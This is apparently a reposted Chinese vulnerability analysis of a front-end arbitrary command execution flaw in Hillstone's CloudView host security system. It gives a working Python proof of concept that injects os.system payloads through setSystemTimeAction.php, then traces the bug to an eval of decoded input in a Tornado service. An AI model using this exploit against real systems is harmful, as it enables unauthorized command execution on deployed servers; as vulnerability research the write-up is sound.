山石云鉴主机安全管理系统前台任意命令执行
漏洞名称
山石网科云鉴存在前台任意命令执行漏洞
漏洞复现
POC
import requests
import urllib3
urllib3.disable_warnings()
base_url =""'''
HSVD-2023-0008
'''defsetSystemTimeAction(newcsrf,headers):
url = base_url +"/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf
proxies ={'https':'http://127.0.0.1:8080'}
x ="param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config')"
req2 = requests.post(url, data=x,headers=headers, verify=False)'''
HSVD-2023-0005
'''defgetMessageSettingAction(newcsrf,header):
proxies ={'https':'http://127.0.0.1:8080'}
company_uuid ="aaa"
platform_sel ="os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
url = base_url +'/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel
req = requests.get(url, headers=header, verify=False)print(req.text)defmain():
headers ={"Cookie":"PHPSESSID=emhpeXVhbg;","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}
url = base_url +"/master/ajaxActions/getTokenAction.php"
req = requests.post(url, verify=False, headers=headers)
newcsrf = req.text.replace("\n","")
setSystemTimeAction(newcsrf,headers)
reshell = requests.get(base_url +'/master/img/config',verify=False)print('---------------------cmd-------------------------')print(reshell.text)if __name__ =='__main__':
main()
漏洞分析
根据 poc 可知关键函数为
setSystemTimeAction
,关键请求为
base_url + "/master/ajaxActions/setSystemTimeAction.php
,post 请求的参数为
param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config')
先分析 setSystemTimeAction.php 文件如何处理 http 请求
master\runtime\ajaxActions\setSystemTimeAction.php
<?phpinclude"../permission.php";if(!isPermission('operator')){echo"F";return;}elseif(!verifyToken()){echo"F";return;}include_once"../includeUtils.php";session_write_close();$param=$_POST['param'];$param=base64_encode($param);$resp=setSysTime($param);$resp=array("Status"=>$resp['status'],"Result"=>json_decode($resp['body']));echojson_encode($resp,JSON_UNESCAPED_UNICODE);?>
第 13、14行,将参数 x base64 编码后传递给 setSysTime 函数
functionsetSysTime($param){returnhandleEmptyResult(postCommand("set-mp-time|".$param));}
setSysTime 中又调用了 postCommand
functionpostCommand($parameter){$ch=curl_init();curl_setopt($ch,CURLOPT_POST,1);// POSTcurl_setopt($ch,CURLOPT_POSTFIELDS,$parameter);// POST paramcurl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$url="http://".$GLOBALS['serverNm'].":8000/";// URLwriteLog('post param is '.$parameter,2);writeLog('url is '.$url,2);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);$headers=array("Content-Length: ".strlen($parameter),"Content-Type: application/x-www-form-urlencoded");curl_setopt($ch,CURLOPT_HTTPHEADER,$headers);$result=curl_exec($ch);writeLog('post api returns:'.$result,2);$httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);writeLog($url.' status:'.$httpCode,2);writeLog($url.' get api returns:'.$result,2);curl_close($ch);returnarray("status"=>$httpCode,"body"=>$result);}
postCommand 函数的主要功能是通过
curl
做 http post 请求链接 http://127.0.0.1:8000/
通过
netstat -lntp
查看监听 8000 端口进程的 pid,得知执行进程的命令
netstat -lntp
......
ps -p 2436 -o pid,ppid,cmd //
---------------------cmd-------------------------
PID PPID CMD
2436 1 python /opt/var/majorsec/installation/base/runtime/bin/python /opt/var/majorsec/installation/base/scripts/service/yamin/main.py
下面分析 /opt/var/majorsec/installation/base/scripts/service/yamin/main.py 是如何处理 http 请求的
此文件是一个基于 Tornado 框架的 Web 服务程序,它提供了一个接收 POST 请求的接口
介绍 — Tornado 4.3 文档 (tornado-zh.readthedocs.io)
主要处理逻辑 CommandHandler post 如下
classCommandHandler(tornado.web.RequestHandler):# @gen.coroutinedefpost(self):try:
logging.debug('\n'.join('{0}:{1}'.format(k, v)for(k, v)in self.request.headers.get_all()))
logging.debug(self.request.body)
command = self.request.body
ret, msg = routeCommand(command, self)if ret and ret !="alreadySendToFrontEnd":
self.write(msg)
self.finish()elifnot ret:
logging.error(msg)raise Exception(msg)except Exception as e:
logging.error("CommandHandler Exception: {}".format(e))raise tornado.web.HTTPError(400)
第 10、11 行将 http body 传递给了 routeCommand 处理
defrouteCommand(commandline, handler):global conf
ifnot commandline:returnFalse,"Invalid command"iflen(commandline)>4096orlen(commandline)<4:returnFalse,"Invalid command"
command, args =None,Nonetry:
l = commandline.split('|',1)
command, args = l[:2]iflen(l)>1else(l[0],'')except Exception as e:returnFalse,"Cannot parse {}:{}".format(commandline, e)
stage = getStage()if command notin commands[stage]:returnFalse,"Invalid command {0} at stage {1}".format(command, stage)if stage in(2,3)andnot initStore():returnFalse,"Unavailable service"
conf['server']= handler
try:
command = command.replace('-','_')returneval(command)(args=args.split('|'), conf=conf, store=store)except Exception as e:returnFalse, e
routeCommand 功能为分割参数 commandline,将 | 之前的字符串赋值给 command,之后的赋值给 args,然后将 command 字符串中的
-
替换为
_
,最后通过 eval 执行此字符串
例如
commandline = "set-mp-time|base64_encode($param)"
,处理后
command = "set_mp_time",args = base64_encode($param)
下面分析 eval 执行的函数
set_mp_time(args)
的功能,位于 installation\base\scripts\service\yamin\set_command.py
defset_mp_time(**kwargs):
args = kwargs['args']try:
time_config_keys =["config","zone","datetime","ntp_server_1","ntp_server_2"]try:
conf =eval(base64.b64decode(args[0]))
logging.info("get time config request: {}".format(conf))for config_key in time_config_keys:if config_key notin conf:raise Exception("not found key: {}".format(config_key))except Exception as e:returnTrue, setResult(1, errmsg="unexpected args: {}".format(e))ifnot conf["zone"]==""andnot conf["zone"]== get_my_timezone():
logging.info("start to set timezone: {}".format(conf["zone"]))
logging.debug("timedatectl set-timezone {0}".format(conf["zone"]))
sys_command.run_sys_cmd("timedatectl set-timezone {0}".format(conf["zone"]))
php_conf_file ="/opt/etc/php.d/majorsec.ini"ifnot os.access(php_conf_file, os.R_OK):
php_conf_file ="/opt/php/etc/php.d/majorsec.ini"
zone_setting ="date.timezone = {}".format(conf["zone"])
zone_setting = zone_setting.replace('/','\/')withopen(php_conf_file,'r')as php_conf:
php_zone = php_conf.readlines()[0].strip().replace('/','\/')
logging.debug("sed -i -r 's/{0}/{1}/g' {2}".format(php_zone, zone_setting, php_conf_file))
sys_command.run_sys_cmd("sed -i -r 's/{0}/{1}/g' {2}".format(php_zone, zone_setting, php_conf_file))if conf["config"]=="local":if conf['datetime']:try:
date = conf['datetime'].split(" ")[0]
Time = conf['datetime'].split(" ")[1]except Exception:raise Exception("parse datetime failed: {}".format(conf["datetime"]))
logging.debug("timedatectl set-ntp false")
sys_command.run_sys_cmd("timedatectl set-ntp false")
logging.debug("stop and disable chronyd service")
sys_command.run_sys_cmd("systemctl stop chronyd.service")
sys_command.run_sys_cmd("systemctl disable chronyd.service")
logging.debug('timedatectl set-time "{0} {1}"'.format(date, Time))
sys_command.run_sys_cmd('timedatectl set-time "{0} {1}"'.format(date, Time))
sys_command.run_sys_cmd("clock -w")
time.sleep(1)else:
logging.debug("enable and start chronyd service")
sys_command.run_sys_cmd("systemctl enable chronyd.service")
p = ConfigParser.ConfigParser()
p.read(base_ini_path)
all_sections = p.sections()if'ntp'notin all_sections:
p.add_section('ntp')
p.set('ntp','server1', conf['ntp_server_1'])
p.set('ntp','server2', conf['ntp_server_2'])
p.write(open(base_ini_path,'w'))
sync_setting_to_chronyd()
sys_command.run_sys_cmd("chronyc -a makestep")returnTrue, setResult(0,'')except Exception as e:
sys_command.run_sys_cmd("rm -f /opt/tmp/nginx/.first_config_running")
logging.error("set time config exception: {}".format(e))returnTrue, setResult(1, errmsg="{}".format(e))
关键代码为第 7 行
conf = eval(base64.b64decode(args[0]))
,通过
eval
执行了 base64 解码的参数
类似功能的简化代码如下
import os
defset_mp_time(args):eval(args[0])
cmd ="set_mp_time"
args ="os.system('whoami')"eval(cmd)(args = args.split('|'))
其中 args 是由
$param= $_POST['param'];
传递来的,所以 payload 为
param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config')
,由于没有回显,所以要将命令执行结果重定向到可以访问的文件中,最后通过访问
http://url/master/img/config
查看命令结果
参考链接
安全公告-山石网科云鉴存在前台任意命令执行漏洞 - 山石网科 (hillstonenet.com.cn)
POC/山石网科云鉴存在前台任意命令执行漏洞.md at main · wy876/POC (github.com)
版权归原作者 BabaXD 所有, 如有侵权,请联系我们删除。